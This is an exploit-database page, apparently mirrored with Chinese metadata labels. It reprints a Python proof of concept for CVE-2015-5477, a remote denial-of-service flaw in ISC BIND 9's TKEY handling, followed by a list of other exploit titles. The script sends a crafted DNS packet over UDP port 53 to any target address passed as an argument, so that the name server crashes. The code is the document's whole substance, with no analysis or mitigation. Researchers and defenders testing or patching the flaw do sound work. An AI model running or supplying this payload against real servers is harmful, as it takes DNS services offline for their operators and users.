ISC BIND 9 – TKEY Remote Denial of Service (PoC)

Exploit Database
117 阅读

作者： elceef

日期： 2015-08-05
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/37723/

#!/usr/bin/env python

# Exploit Title: PoC for BIND9 TKEY DoS

# Exploit Author: elceef

# Software Link: https://github.com/elceef/tkeypoc/

# Version: ISC BIND 9

# Tested on: multiple

# CVE : CVE-2015-5477

import socket

import sys

print('CVE-2015-5477 BIND9 TKEY PoC')

if len(sys.argv) < 2:

print('Usage: ' + sys.argv[0] + ' [target]')

sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(payload, (sys.argv[1], 53))

print('Done.')

last Exploits
ISC BIND 9 – TKEY Remote Denial of Service (PoC)的更多信息

SuperScan 4.1 – Tools Hostname/IP/URL Field Buffer Overflow：
Panda Global Protection 2010 – Local Denial of Service：
Zeus Web Server 4.x – ‘SSL2_CLIENT_HELLO’ Remote Buffer Overflow (PoC)：
Microsoft Reader 2.1.1.3143 – Null Byte Write：
Drive Power Manager 1.10 – Denial Of Service (PoC)：
VIM 8.2 – Denial of Service (PoC)：
Apple macOS/iOS – Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling：
Linux Kernel – ‘AF_PACKET’ Use-After-Free (1)：